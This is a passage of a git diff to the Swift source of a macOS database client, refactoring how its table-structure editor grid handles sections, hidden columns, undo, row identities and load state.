-        configuration.rowReorder = DataGridRowReorder(
-            isEnabled: reorder.isAvailable,
-            unavailableReason: reorder.unavailableReason
-        )
-        configuration.commands = commands(reorderAvailable: reorder.isAvailable)
-        return configuration
-    }
-
-    private func commands(reorderAvailable: Bool) -> Set<DataGridCommand> {
-        var commands: Set<DataGridCommand> = [.valueFilter, .freezeColumns]
-        guard showsGrid, !structureChangeManager.isHeldForSave else { return commands }
-        if canStageAddForSelectedTab {
-            commands.formUnion([.addRow, .duplicateRows, .pasteRows])
-        }
-        if canStageRemoveForSelectedTab {
-            commands.formUnion([.deleteRows, .undoDelete])
-        }
-        if reorderAvailable {
-            commands.insert(.moveRows)
-        }
-        return commands
-    }
-
-    private func lockedColumns(provider: StructureRowProvider) -> Set<String> {
-        let headings = provider.columns
-        let locked = editGate.lockedFieldIndices(
-            on: selectedTab,
-            orderedFields: provider.orderedColumnFields,
-            fieldCount: headings.count
-        )
-        return Set(locked.compactMap { headings.indices.contains($0) ? headings[$0] : nil })
-    }
-
-    // MARK: - Rows
-
-    func sourceIndices(of rowIDs: [RowID]) -> [Int] {
-        rowIDs.compactMap(StructureRowProvider.sourceIndex(of:))
-    }
-
-    func menuOptions(sourceIndex: Int, field: Int) -> [GridMenuOption]? {
-        switch selectedTab {
-        case .indexes:
-            guard structureChangeManager.workingIndexes.indices.contains(sourceIndex) else { return nil }
-            return StructureRowProvider.indexMenuOptions(
-                columnIndex: field,
-                index: structureChangeManager.workingIndexes[sourceIndex],
-                serverSupport: serverSupport
-            )
-        case .foreignKeys:
-            guard canEditForeignKeys,
-                  structureChangeManager.workingForeignKeys.indices.contains(sourceIndex) else { return nil }
-            referenceMenus.origin = coordinator?.selectedTabScope
-            return referenceMenus.options(
-                columnIndex: field,
-                foreignKey: structureChangeManager.workingForeignKeys[sourceIndex],
-                tableColumns: structureChangeManager.workingColumns.map(\.name)
-            )
-        case .columns:
-            guard structureChangeManager.workingColumns.indices.contains(sourceIndex),
-                  provider.orderedColumnFields.indices.contains(field) else { return nil }
-            return ColumnCharacterSetMenus.options(
-                for: provider.orderedColumnFields[field],
-                column: structureChangeManager.workingColumns[sourceIndex],
-                context: characterSetContext
-            )
-        case .checkConstraints, .options, .ddl, .parts, .triggers:
-            return nil
-        }
-    }
-
-    // Read-only per row, which the column-wide lock cannot say: a type with no character set, or a catalog not read.
-    func characterSetLockedFields(sourceIndex: Int) -> Set<Int> {
-        guard selectedTab == .columns, structureChangeManager.workingColumns.indices.contains(sourceIndex) else { return [] }
-        return ColumnCharacterSetMenus.lockedFieldIndices(
-            orderedFields: provider.orderedColumnFields,
-            column: structureChangeManager.workingColumns[sourceIndex],
-            catalog: characterSetContext.catalog
-        )
-    }
-
-    // Opening the menu is the retry, as it is for the reference menus. The inspector reads the options on every
-    // rebuild, so it never starts a read.
-    private func readCharacterSetCatalogIfNeeded(field: Int) {
-        guard selectedTab == .columns, provider.orderedColumnFields.indices.contains(field),
-              ColumnCharacterSetMenus.isCharacterSetField(provider.orderedColumnFields[field]) else { return }
-        switch characterSetContext.catalog {
-        case .idle, .failed:
-            Task { await session?.readTableOptionsCatalog() }
-        case .loading, .loaded:
-            break
-        }
-    }
-
-    func characterSetCatalogDidChange() {
-        refresh()
-        coordinator?.inspectorRowSourceRevision += 1
-    }
-
-    // MARK: - Commands
-
-    @discardableResult
-    func applyEdit(rowID: RowID, field: Int, text: String) -> Bool {
-        guard canEdit, let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return false }
-        let applied = write(text, field: field, sourceIndex: sourceIndex)
-        refresh()
-        return applied
-    }
-
-    private func write(_ text: String, field: Int, sourceIndex: Int) -> Bool {
-        let tab = selectedTab
-        let characterSets = characterSetContext
-        guard field >= 0,
-              !editGate.locksField(at: field, on: tab, orderedFields: provider.orderedColumnFields),
-              !structureChangeManager.deleteInsertState(for: sourceIndex, tab: tab).isDeleted,
-              !StructureGridEdits.refuses(
-                  text,
-                  field: field,
-                  sourceIndex: sourceIndex,
-                  tab: tab,
-                  manager: structureChangeManager,
-                  orderedFields: provider.orderedColumnFields,
-                  characterSets: characterSets
-              ) else { return false }
-        let changedReference = StructureGridEdits.apply(
-            text,
-            field: field,
-            sourceIndex: sourceIndex,
-            tab: tab,
-            manager: structureChangeManager,
-            orderedFields: provider.orderedColumnFields,
-            connection: connection,
-            characterSets: characterSets
-        )
-        if let changedReference {
-            referenceMenus.origin = coordinator?.selectedTabScope
-            referenceMenus.prefetchReferencedColumns(
-                of: changedReference.referencedTable, schema: changedReference.referencedSchema
-            )
-        }
-        return true
-    }
-
-    func deleteRows(_ rowIDs: [RowID]) {
-        guard !rowIDs.isEmpty, showsGrid else {
-            model.clearSelection()
-            return
-        }
-        let allowed: Bool
-        switch selectedTab {
-        case .columns: allowed = editGate.allows(.dropColumn)
-        case .indexes: allowed = editGate.allows(.dropIndex)
-        case .foreignKeys: allowed = canEditForeignKeys
-        case .checkConstraints: allowed = editGate.allows(.dropCheckConstraint)
-        case .options, .ddl, .parts, .triggers: allowed = false
-        }
-        guard allowed else { return }
-        let displayRows = IndexSet(rowIDs.compactMap { model.displayIndex(of: $0) })
-        let countBefore = model.rowCount
-        StructureGridEdits.delete(
-            sourceIndices: sourceIndices(of: rowIDs), tab: selectedTab, manager: structureChangeManager
-        )
-        refresh()
-        selectAfterDeleting(displayRows, countBefore: countBefore)
-    }
-
-    private func selectAfterDeleting(_ displayRows: IndexSet, countBefore: Int) {
-        let remaining = countBefore - displayRows.count
-        guard remaining > 0, let minRow = displayRows.first, let maxRow = displayRows.last else {
-            model.clearSelection()
-            return
-        }
-        let target = maxRow < remaining ? maxRow : (minRow > 0 ? minRow - 1 : 0)
-        guard let rowID = model.rowID(at: target) else {
-            model.clearSelection()
-            return
-        }
-        model.selectRows([rowID])
-    }
-
-    func addRow() {
-        guard canStageAddForSelectedTab else { return }
-        StructureGridEdits.addRow(on: selectedTab, manager: structureChangeManager)
-        refresh()
-    }
-
-    func duplicateRows(_ rowIDs: [RowID]) {
-        guard canStageAddForSelectedTab else { return }
-        StructureGridEdits.duplicate(
-            sourceIndices: sourceIndices(of: rowIDs), tab: selectedTab, manager: structureChangeManager
-        )
-        refresh()
-    }
-
-    func undoDelete(_ rowIDs: [RowID]) {
-        for index in sourceIndices(of: rowIDs) {
-            structureChangeManager.undoDelete(for: selectedTab, at: index)
-        }
-        refresh()
-    }
-
-    // Options stages its edits through the same manager, so its undo is the structure's.
-    private var undoesStructureEdits: Bool {
-        switch selectedTab {
-        case .columns, .indexes, .foreignKeys, .checkConstraints, .options, .parts: true
-        case .ddl, .triggers: false
-        }
-    }
-
-    // The comment bar shows on every sub-tab, so its step undoes even where no grid is on screen.
-    func undo() {
-        guard undoesStructureEdits || structureChangeManager.undoesTableCommentNext else { return }
-        model.commitEditing()
-        structureChangeManager.undo()
-        refresh()
-    }
-
-    func redo() {
-        guard undoesStructureEdits || structureChangeManager.redoesTableCommentNext else { return }
-        model.commitEditing()
-        structureChangeManager.redo()
-        refresh()
-    }
-
-    func navigateToForeignKey(sourceIndex: Int) {
-        guard structureChangeManager.workingForeignKeys.indices.contains(sourceIndex), let coordinator else { return }
-        let foreignKey = structureChangeManager.workingForeignKeys[sourceIndex]
-        guard let origin = coordinator.selectedTabScope else {
-            coordinator.openTableTab(foreignKey.referencedTable, schema: foreignKey.referencedSchema)
-            return
-        }
-        let target = ForeignKeyTargetScope.resolve(
-            origin: origin, referencedSchema: foreignKey.referencedSchema, databaseType: connection.type
-        )
-        coordinator.openTableTab(foreignKey.referencedTable, schema: target.schema, database: target.database)
-    }
-
-    func releaseViewWiring() {
-        moveRowHandler = nil
-        coordinator = nil
-    }
-}
-
-// MARK: - DataGridDataSource
-
-extension StructureGridAdapter: DataGridDataSource {
-    var gridRows: TableRows { snapshot.rows }
-    var gridChangeState: AnyChangeManager { changeState }
-
-    func gridVisualState(for rowID: RowID) -> RowVisualState? {
-        snapshot.state(for: rowID)
-    }
-
-    func gridMenuOptions(for rowID: RowID, column: DataGridColumn) -> [GridMenuOption]? {
-        guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return nil }
-        let options = menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
-        readCharacterSetCatalogIfNeeded(field: column.dataIndex)
-        return options
-    }
-}
-
-// MARK: - DataGridActions
-
-extension StructureGridAdapter: DataGridActions {
-    func gridCommit(_ edits: [DataGridResolvedEdit], actionName: String) -> Bool {
-        guard canEdit, !edits.isEmpty else { return false }
-        var applied = false
-        let writeAll = {
-            for edit in edits {
-                guard let sourceIndex = StructureRowProvider.sourceIndex(of: edit.rowID) else { continue }
-                if self.write(edit.newValue.asText ?? "", field: edit.dataIndex, sourceIndex: sourceIndex) {
-                    applied = true
-                }
-            }
-        }
-        if edits.count > 1 {
-            structureChangeManager.performAsOneUndoStep(writeAll)
-        } else {
-            writeAll()
-        }
-        refresh()
-        return applied
-    }
-
-    func gridDeleteRows(_ rowIDs: [RowID]) {
-        deleteRows(rowIDs)
-    }
-
-    func gridUndoDelete(_ rowIDs: [RowID]) {
-        undoDelete(rowIDs)
-    }
-
-    func gridAddRow() {
-        addRow()
-    }
-
-    func gridDuplicateRows(_ rowIDs: [RowID]) {
-        duplicateRows(rowIDs)
-    }
-
-    func gridCanPasteRows() -> Bool {
-        canStageAddForSelectedTab && TableStructureView.canPasteStructureRows
-    }
-
-    func gridPasteRows() {
-        pasteRows()
-    }
-
-    // A move is offered only while nothing filters or sorts the list, so the drop index is a working index.
-    func gridMoveRow(from source: RowID, toDisplayIndex destination: Int) {
-        guard let sourceIndex = StructureRowProvider.sourceIndex(of: source) else { return }
-        moveRowHandler?(sourceIndex, destination)
-    }
-
-    // The provider sorts by one column, so a secondary key the header appended is dropped.
-    func gridSortDidChange(_ sort: SortState) {
-        guard let session else { return }
-        if let primary = sort.columns.first {
-            session.sortDescriptor = StructureSortDescriptor(
-                column: primary.columnIndex, ascending: primary.direction == .ascending
-            )
-            store.sortState = SortState(columns: [primary], source: .user)
-        } else {
-            session.sortDescriptor = nil
-            store.sortState = SortState(columns: [], source: .user)
-        }
-        refresh()
-    }
-
-    // A value filter rearranges the list, which withdraws the column move.
-    func gridConfirmDisplayOrderChange(then apply: @escaping @MainActor () -> Void) {
-        apply()
-        model.configuration = makeConfiguration(provider: provider)
-    }
-
-    func gridRowMenuItems(for rowIDs: [RowID], clickedRow: RowID) -> [NSMenuItem] {
-        structureRowMenuItems(for: rowIDs, clickedRow: clickedRow)
-    }
-
-    func gridEmptySpaceMenu() -> NSMenu? {
-        makeEmptySpaceMenu()
-    }
-}
diff --git a/apple/TablePro/Views/Structure/StructureGridStateStore.swift b/apple/TablePro/Views/Structure/StructureGridStateStore.swift
index 26cc6933b1..2a07bf9734 100644
--- a/apple/TablePro/Views/Structure/StructureGridStateStore.swift
+++ b/apple/TablePro/Views/Structure/StructureGridStateStore.swift
@@ -4,54 +4,55 @@
 //
 
 import Foundation
+import TableProPluginKit
 
-// The Structure grid's view state lives on the tab's session, one column layout per sub-tab, and never
-// reaches a table's saved layout.
+// One section's grid state. It never reaches a table's saved layout; only the columns a person hides are kept,
+// per section, for every table.
 @MainActor
 final class StructureGridStateStore: DataGridStateStore {
-    weak var session: StructureEditingSession?
-    private(set) var subTab: StructureTab = .columns
+    let section: StructureSection
+    private let defaults: UserDefaults
 
+    var sortState = SortState()
     var valueFilter = GridValueFilterState()
     var displayFormats: [ValueDisplayFormat?] = []
     var selectionSnapshot = GridSelectionSnapshot.empty
     var viewportAnchor: GridViewportPlacement?
     let layoutScope: DataGridLayoutScope = .ephemeral
 
-    private var detachedLayouts: [StructureTab: ColumnLayoutState] = [:]
-    private var detachedSort = SortState()
-
-    var sortState: SortState {
-        get { session?.sortState ?? detachedSort }
-        set {
-            guard let session else {
-                detachedSort = newValue
-                return
-            }
-            guard session.sortState != newValue else { return }
-            session.sortState = newValue
+    var columnLayout: ColumnLayoutState {
+        didSet {
+            guard columnLayout.hiddenColumns != oldValue.hiddenColumns else { return }
+            defaults.set(Array(columnLayout.hiddenColumns).sorted(), forKey: Self.hiddenColumnsKey(section))
         }
     }
 
-    var columnLayout: ColumnLayoutState {
-        get { session?.columnLayouts[subTab] ?? detachedLayouts[subTab] ?? ColumnLayoutState() }
-        set {
-            guard let session else {
-                detachedLayouts[subTab] = newValue
-                return
-            }
-            guard session.columnLayouts[subTab] != newValue else { return }
-            session.columnLayouts[subTab] = newValue
+    init(section: StructureSection, defaults: UserDefaults = AppStorageEnvironment.shared.defaults) {
+        self.section = section
+        self.defaults = defaults
+        var layout = ColumnLayoutState()
+        if let stored = defaults.stringArray(forKey: Self.hiddenColumnsKey(section)) {
+            layout.hiddenColumns = Set(stored)
+        } else {
+            layout.hiddenColumns = Self.defaultHiddenColumns(section)
         }
+        columnLayout = layout
     }
 
-    // Search, sort, filter and selection start over on another sub-tab; the column layout is kept per sub-tab.
-    func switchSubTab(to tab: StructureTab) {
-        guard tab != subTab else { return }
-        subTab = tab
-        valueFilter = GridValueFilterState()
-        displayFormats = []
-        selectionSnapshot = .empty
-        viewportAnchor = nil
+    static func hiddenColumnsKey(_ section: StructureSection) -> String {
+        "structure.hiddenColumns.\(section.rawValue)"
+    }
+
+    // The inspector edits every field; the table keeps the ones read at a glance.
+    static func defaultHiddenColumns(_ section: StructureSection) -> Set<String> {
+        switch section {
+        case .columns:
+            let hidden: [StructureColumnField] = [.onUpdate, .autoIncrement, .charset, .collation, .generated, .generationExpression]
+            return Set(hidden.map(\.displayName))
+        case .foreignKeys:
+            return [String(localized: "Ref Schema")]
+        case .indexes, .checkConstraints:
+            return []
+        }
     }
 }
diff --git a/apple/TablePro/Views/Structure/StructureGridSupport.swift b/apple/TablePro/Views/Structure/StructureGridSupport.swift
index 16ffdc1dbb..bc603c1a01 100644
--- a/apple/TablePro/Views/Structure/StructureGridSupport.swift
+++ b/apple/TablePro/Views/Structure/StructureGridSupport.swift
@@ -17,7 +17,7 @@ enum StructureGridEdits {
         _ text: String,
         field: Int,
         sourceIndex: Int,
-        tab: StructureTab,
+        tab: StructureSection,
         manager: StructureChangeManager,
         orderedFields: [StructureColumnField],
         connection: DatabaseConnection,
@@ -62,8 +62,6 @@ enum StructureGridEdits {
             var constraint = manager.workingCheckConstraints[sourceIndex]
             StructureEditingSupport.updateCheckConstraint(&constraint, at: field, with: text)
             manager.updateCheckConstraint(id: constraint.id, with: constraint)
-        case .options, .ddl, .parts, .triggers:
-            break
         }
         return nil
     }
@@ -73,7 +71,7 @@ enum StructureGridEdits {
         _ text: String,
         field: Int,
         sourceIndex: Int,
-        tab: StructureTab,
+        tab: StructureSection,
         manager: StructureChangeManager,
         orderedFields: [StructureColumnField],
         characterSets: ColumnCharacterSetMenus.Context?
@@ -95,7 +93,7 @@ enum StructureGridEdits {
     }
 
     // One Cmd+Z brings the whole selection back: the manager registers an undo per row.
-    static func delete(sourceIndices: [Int], tab: StructureTab, manager: StructureChangeManager) {
+    static func delete(sourceIndices: [Int], tab: StructureSection, manager: StructureChangeManager) {
         manager.performAsOneUndoStep {
             for index in sourceIndices.sorted(by: >) {
                 switch tab {
@@ -111,59 +109,73 @@ enum StructureGridEdits {
                 case .checkConstraints:
                     guard manager.workingCheckConstraints.indices.contains(index) else { continue }
                     manager.deleteCheckConstraint(id: manager.workingCheckConstraints[index].id)
-                case .options, .ddl, .parts, .triggers:
-                    break
                 }
             }
         }
     }
 
-    static func duplicate(sourceIndices: [Int], tab: StructureTab, manager: StructureChangeManager) {
-        for index in sourceIndices.sorted() {
-            switch tab {
-            case .columns:
-                guard manager.workingColumns.indices.contains(index) else { continue }
-                manager.addColumn(manager.workingColumns[index].withNewIdentity())
-            case .indexes:
-                guard manager.workingIndexes.indices.contains(index) else { continue }
-                var copy = manager.workingIndexes[index].withNewIdentity()
-                copy.isPrimary = false
-                manager.addIndex(copy)
-            case .foreignKeys:
-                guard manager.workingForeignKeys.indices.contains(index) else { continue }
-                manager.addForeignKey(manager.workingForeignKeys[index].withNewIdentity())
-            case .checkConstraints:
-                guard manager.workingCheckConstraints.indices.contains(index) else { continue }
-                manager.addCheckConstraint(manager.workingCheckConstraints[index].withNewIdentity())
-            case .options, .ddl, .parts, .triggers:
-                break
+    static func duplicate(sourceIndices: [Int], tab: StructureSection, manager: StructureChangeManager) {
+        manager.performAsOneUndoStep {
+            for index in sourceIndices.sorted() {
+                switch tab {
+                case .columns:
+                    guard manager.workingColumns.indices.contains(index) else { continue }
+                    manager.addColumn(manager.workingColumns[index].withNewIdentity())
+                case .indexes:
+                    guard manager.workingIndexes.indices.contains(index) else { continue }
+                    var copy = manager.workingIndexes[index].withNewIdentity()
+                    copy.isPrimary = false
+                    manager.addIndex(copy)
+                case .foreignKeys:
+                    guard manager.workingForeignKeys.indices.contains(index) else { continue }
+                    manager.addForeignKey(manager.workingForeignKeys[index].withNewIdentity())
+                case .checkConstraints:
+                    guard manager.workingCheckConstraints.indices.contains(index) else { continue }
+                    manager.addCheckConstraint(manager.workingCheckConstraints[index].withNewIdentity())
+                }
             }
         }
     }
 
-    static func addRow(on tab: StructureTab, manager: StructureChangeManager) {
+    static func addRow(on tab: StructureSection, manager: StructureChangeManager) {
         switch tab {
         case .columns: manager.addNewColumn()
         case .indexes: manager.addNewIndex()
         case .foreignKeys: manager.addNewForeignKey()
         case .checkConstraints: manager.addNewCheckConstraint()
-        case .options, .ddl, .parts, .triggers: break
         }
     }
 
-    static func rowCount(on tab: StructureTab, manager: StructureChangeManager) -> Int {
+    static func entityIDs(in section: StructureSection, manager: StructureChangeManager) -> [UUID] {
+        switch section {
+        case .columns: manager.workingColumns.map(\.id)
+        case .indexes: manager.workingIndexes.map(\.id)
+        case .foreignKeys: manager.workingForeignKeys.map(\.id)
+        case .checkConstraints: manager.workingCheckConstraints.map(\.id)
+        }
+    }
+
+    static func sourceIndex(of id: UUID, in section: StructureSection, manager: StructureChangeManager) -> Int? {
+        switch section {
+        case .columns: manager.workingColumns.firstIndex { $0.id == id }
+        case .indexes: manager.workingIndexes.firstIndex { $0.id == id }
+        case .foreignKeys: manager.workingForeignKeys.firstIndex { $0.id == id }
+        case .checkConstraints: manager.workingCheckConstraints.firstIndex { $0.id == id }
+        }
+    }
+
+    static func rowCount(on tab: StructureSection, manager: StructureChangeManager) -> Int {
         switch tab {
         case .columns: manager.workingColumns.count
         case .indexes: manager.workingIndexes.count
         case .foreignKeys: manager.workingForeignKeys.count
         case .checkConstraints: manager.workingCheckConstraints.count
-        case .options, .ddl, .parts, .triggers: 0
         }
     }
 
     static func visualState(
         sourceIndex: Int,
-        tab: StructureTab,
+        tab: StructureSection,
         manager: StructureChangeManager,
         orderedFields: [StructureColumnField],
         tintsModifiedFields: Bool
@@ -182,7 +194,7 @@ enum StructureGridEdits {
 
     private static func modifiedFields(
         sourceIndex: Int,
-        tab: StructureTab,
+        tab: StructureSection,
         manager: StructureChangeManager,
         orderedFields: [StructureColumnField]
     ) -> Set<Int> {
@@ -207,23 +219,24 @@ enum StructureGridEdits {
             let working = manager.workingCheckConstraints[sourceIndex]
             guard let original = manager.currentCheckConstraints.first(where: { $0.id == working.id }) else { return [] }
             return StructureEditingSupport.checkConstraintModifiedIndices(old: original, new: working)
-        case .options, .ddl, .parts, .triggers:
-            return []
         }
     }
 }
 
-// The schema manager has no row identities of its own; this answers the grid's row questions by the
-// source-index RowIDs `StructureRowProvider` hands out.
+// The schema manager has no row identities of its own; this answers the grid's row questions through the RowIDs
+// the section's adapter minted, one per working definition in order.
 @MainActor
 final class StructureGridChangeState: ChangeManaging {
     let manager: StructureChangeManager
-    var tab: StructureTab
-    var rowCount: Int = 0
+    let section: StructureSection
+    var rowIDs: [RowID] = [] {
+        didSet { sourceIndexByRowID = Dictionary(uniqueKeysWithValues: rowIDs.enumerated().map { ($1, $0) }) }
+    }
+    private var sourceIndexByRowID: [RowID: Int] = [:]
 
-    init(manager: StructureChangeManager, tab: StructureTab = .columns) {
+    init(manager: StructureChangeManager, section: StructureSection) {
         self.manager = manager
-        self.tab = tab
+        self.section = section
     }
 
     var hasChanges: Bool { manager.hasChanges }
@@ -232,18 +245,16 @@ final class StructureGridChangeState: ChangeManaging {
     var rowChanges: [RowChange] { [] }
 
     var insertedRowIDs: Set<RowID> {
-        Set((0..<rowCount).filter { manager.deleteInsertState(for: $0, tab: tab).isInserted }
-            .map(StructureRowProvider.rowID(forSourceIndex:)))
+        Set(rowIDs.indices.filter { manager.deleteInsertState(for: $0, tab: section).isInserted }.map { rowIDs[$0] })
     }
 
     var deletedRowIDs: Set<RowID> {
-        Set((0..<rowCount).filter { manager.deleteInsertState(for: $0, tab: tab).isDeleted }
-            .map(StructureRowProvider.rowID(forSourceIndex:)))
+        Set(rowIDs.indices.filter { manager.deleteInsertState(for: $0, tab: section).isDeleted }.map { rowIDs[$0] })
     }
 
     func isRowDeleted(_ rowID: RowID) -> Bool {
-        guard let index = StructureRowProvider.sourceIndex(of: rowID), index >= 0 else { return false }
-        return manager.deleteInsertState(for: index, tab: tab).isDeleted
+        guard let index = sourceIndexByRowID[rowID] else { return false }
+        return manager.deleteInsertState(for: index, tab: section).isDeleted
     }
 
     func recordCellChange(
@@ -256,8 +267,10 @@ final class StructureGridChangeState: ChangeManaging {
     ) {}
 
     func undoRowDeletion(rowID: RowID) {
-        guard let index = StructureRowProvider.sourceIndex(of: rowID) else { return }
-        manager.undoDelete(for: tab, at: index)
+        guard let index = sourceIndexByRowID[rowID] else { return }
+        let ids = StructureGridEdits.entityIDs(in: section, manager: manager)
+        guard ids.indices.contains(index) else { return }
+        manager.undoDelete(section: section, id: ids[index])
     }
 }
 
diff --git a/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift b/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
deleted file mode 100644
index cbbc261b7d..0000000000
--- a/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
+++ /dev/null
@@ -1,75 +0,0 @@
-//
-//  StructureInspectorRowBuilder.swift
-//  TablePro
-//
-//  Builds the inspector payload for a structure grid row. Field names, values,
-//  and editors all come from the same provider the grid renders, so the panel
-//  and the grid can never disagree about what a row holds.
-//
-
-import Foundation
-
-@MainActor
-internal enum StructureInspectorRowBuilder {
-    static func row(
-        atDisplayRow displayRow: Int,
-        tab: StructureTab,
-        provider: StructureRowProvider,
-        canEditSchema: Bool,
-        lockedFieldIndices: Set<Int> = [],
-        rowOptions: (Int) -> [GridMenuOption]? = { _ in nil }
-    ) -> InspectorRow? {
-        switch tab {
-        case .columns, .indexes, .foreignKeys, .checkConstraints:
-            break
-        case .options, .ddl, .parts, .triggers:
-            return nil
-        }
-
-        guard let values = provider.row(at: displayRow) else { return nil }
-
-        let names = provider.columns
-        let dropdownOptions = provider.customDropdownOptions
-        let typePickerColumns = provider.typePickerColumns
-        let modified = provider.modifiedFieldIndices(atDisplay: displayRow)
-
-        let fields = names.indices.map { index -> InspectorRowField in
-            InspectorRowField(
-                name: names[index],
-                value: index < values.count ? values[index] : nil,
-                editor: editor(
-                    at: index,
-                    options: rowOptions(index) ?? dropdownOptions[index],
-                    typePickerColumns: typePickerColumns
-                ),
-                isModified: modified.contains(index),
-                isEditable: !lockedFieldIndices.contains(index)
-            )
-        }
-
-        return InspectorRow(
-            fields: fields,
-            isEditable: canEditSchema && !provider.isPendingDelete(atDisplay: displayRow)
-        )
-    }
-
-    /// An option list that carries a `Custom…` entry is an open vocabulary, so the field keeps its
-    /// text editor and puts the list beside it. A closed list becomes the picker it already was;
-    /// giving the Default field one would take away the only way to type an expression.
-    private static func editor(
-        at index: Int,
-        options: [GridMenuOption]?,
-        typePickerColumns: Set<Int>
-    ) -> FieldEditorKind {
-        if let options, !options.isEmpty {
-            if options.contains(where: { if case .custom = $0 { return true } else { return false } }) {
-                return .valuePicker(options: options)
-            }
-            return .enumPicker(values: options.compactMap(\.sql))
-        }
-        if typePickerColumns.contains(index) {
-            return .typePicker
-        }
-        return .schemaText
-    }
-}
diff --git a/apple/TablePro/Views/Structure/StructureLoadState.swift b/apple/TablePro/Views/Structure/StructureLoadState.swift
new file mode 100644
index 0000000000..d63d7700ee
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureLoadState.swift
@@ -0,0 +1,64 @@
+//
+//  StructureLoadState.swift
+//  TablePro
+//
+
+import Foundation
+
+// What a structure tab has read, what a refresh made stale, and which read failed, per part. A failed read keeps
+// what was loaded before it and is reported where that part shows, never over the whole tab.
+struct StructureLoadState: Equatable {
+    enum Item: Hashable, CaseIterable {
+        case columns
+        case indexes
+        case foreignKeys
+        case checkConstraints
+        case triggers
+        case ddl
+
+        init(_ section: StructureSection) {
+            switch section {
+            case .columns: self = .columns
+            case .indexes: self = .indexes
+            case .foreignKeys: self = .foreignKeys
+            case .checkConstraints: self = .checkConstraints
+            }
+        }
+    }
+
+    private var loaded: Set<Item> = []
+    private var stale: Set<Item> = []
+    private(set) var failures: [Item: String] = [:]
+
+    func hasData(_ item: Item) -> Bool {
+        loaded.contains(item)
+    }
+
+    func needsFetch(_ item: Item) -> Bool {
+        !loaded.contains(item) || stale.contains(item) || failures[item] != nil
+    }
+
+    func failure(_ item: Item) -> String? {
+        failures[item]
+    }
+
+    mutating func markAllStale() {
+        stale = loaded
+    }
+
+    mutating func markFetched(_ item: Item) {
+        loaded.insert(item)
+        stale.remove(item)
+        failures.removeValue(forKey: item)
+    }
+
+    mutating func markFailed(_ item: Item, message: String) {
+        failures[item] = message
+    }
+
+    mutating func reset() {
+        loaded.removeAll()
+        stale.removeAll()
+        failures.removeAll()
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureRowProvider.swift b/apple/TablePro/Views/Structure/StructureRowProvider.swift
index 1bc918aa9a..784b0f3da2 100644
--- a/apple/TablePro/Views/Structure/StructureRowProvider.swift
+++ b/apple/TablePro/Views/Structure/StructureRowProvider.swift
@@ -18,7 +18,7 @@ final class StructureRowProvider {
     ]
 
     private let changeManager: StructureChangeManager
-    private let tab: StructureTab
+    private let tab: StructureSection
     private let databaseType: DatabaseType
     private let additionalFields: Set<StructureColumnField>
     private let serverSupport: StructureServerSupport
@@ -42,13 +42,13 @@ final class StructureRowProvider {
         case .columns:
             return orderedColumnFields.map { $0.displayName }
         case .indexes:
-            return [
+            let headings = [
                 String(localized: "Name"),
                 String(localized: "Columns"),
                 String(localized: "Type"),
-                String(localized: "Unique"),
-                String(localized: "Condition")
+                String(localized: "Unique")
             ]
+            return Self.offersIndexCondition(databaseType) ? headings + [String(localized: "Condition")] : headings
         case .foreignKeys:
             return [
                 String(localized: "Name"),
@@ -65,8 +65,6 @@ final class StructureRowProvider {
                 String(localized: "Expression"),
                 String(localized: "Columns")
             ]
-        case .options, .ddl, .parts, .triggers:
-            return []
         }
     }
 
@@ -87,11 +85,21 @@ final class StructureRowProvider {
             picksCharacterSets
                 ? Set(orderedColumnFields.indices.filter { ColumnCharacterSetMenus.isCharacterSetField(orderedColumnFields[$0]) })
                 : []
-        case .checkConstraints, .options, .ddl, .parts, .triggers: []
+        case .checkConstraints: []
         }
     }
 
     static let indexTypeColumn = 2
+    static let indexUniqueColumn = 3
+
+    // Yes-or-no fields, drawn as checkboxes in the grid and the inspector.
+    var booleanColumns: Set<Int> {
+        switch tab {
+        case .columns: Set(Self.booleanFields.compactMap { orderedColumnFields.firstIndex(of: $0) })
+        case .indexes: [Self.indexUniqueColumn]
+        case .foreignKeys, .checkConstraints: []
+        }
+    }
 
     static func indexMenuOptions(
         columnIndex: Int,
@@ -127,12 +135,11 @@ final class StructureRowProvider {
                 result[index] = ColumnDefaultVocabulary.options(for: databaseType)
             }
             return result
-        case .checkConstraints, .options, .ddl, .parts, .triggers:
+        case .checkConstraints:
             return [:]
         }
     }
 
-
     static let booleanOptions = ["YES", "NO"]
 
     static let notGeneratedOption = String(localized: "Not generated")
@@ -144,7 +151,7 @@ final class StructureRowProvider {
         case .columns:
             if let i = orderedColumnFields.firstIndex(of: .type) { return [i] }
             return []
-        case .indexes, .foreignKeys, .checkConstraints, .options, .ddl, .parts, .triggers:
+        case .indexes, .foreignKeys, .checkConstraints:
             return []
         }
     }
@@ -155,13 +162,14 @@ final class StructureRowProvider {
 
     init(
         changeManager: StructureChangeManager,
-        tab: StructureTab,
+        tab: StructureSection,
         databaseType: DatabaseType = .mysql,
         additionalFields: Set<StructureColumnField> = [],
         serverSupport: StructureServerSupport,
         filterText: String? = nil,
         sortDescriptor: StructureSortDescriptor? = nil,
-        picksCharacterSets: Bool = false
+        picksCharacterSets: Bool = false,
+        keepingSourceIndices: Set<Int> = []
     ) {
         self.changeManager = changeManager
         self.tab = tab
@@ -178,10 +186,10 @@ final class StructureRowProvider {
         )
 
         let allRows = Self.buildAllRows(
-            tab: tab, changeManager: changeManager, orderedColumnFields: self.orderedColumnFields
+            tab: tab, changeManager: changeManager, orderedColumnFields: self.orderedColumnFields, databaseType: databaseType
         )
         self.cachedRows = Self.applyFilterAndSort(
-            allRows, filterText: filterText, sortDescriptor: sortDescriptor
+            allRows, filterText: filterText, sortDescriptor: sortDescriptor, keeping: keepingSourceIndices
         )
     }
 
@@ -233,7 +241,7 @@ final class StructureRowProvider {
             guard sourceIndex < changeManager.workingIndexes.count else { return nil }
             let id = changeManager.workingIndexes[sourceIndex].id
             guard let original = changeManager.currentIndexes.first(where: { $0.id == id }) else { return nil }
-            return Self.row(for: original)
+            return Self.row(for: original, offersCondition: Self.offersIndexCondition(databaseType))
         case .foreignKeys:
             guard sourceIndex < changeManager.workingForeignKeys.count else { return nil }
             let id = changeManager.workingForeignKeys[sourceIndex].id
@@ -246,8 +254,6 @@ final class StructureRowProvider {
                 return nil
             }
             return Self.row(for: original)
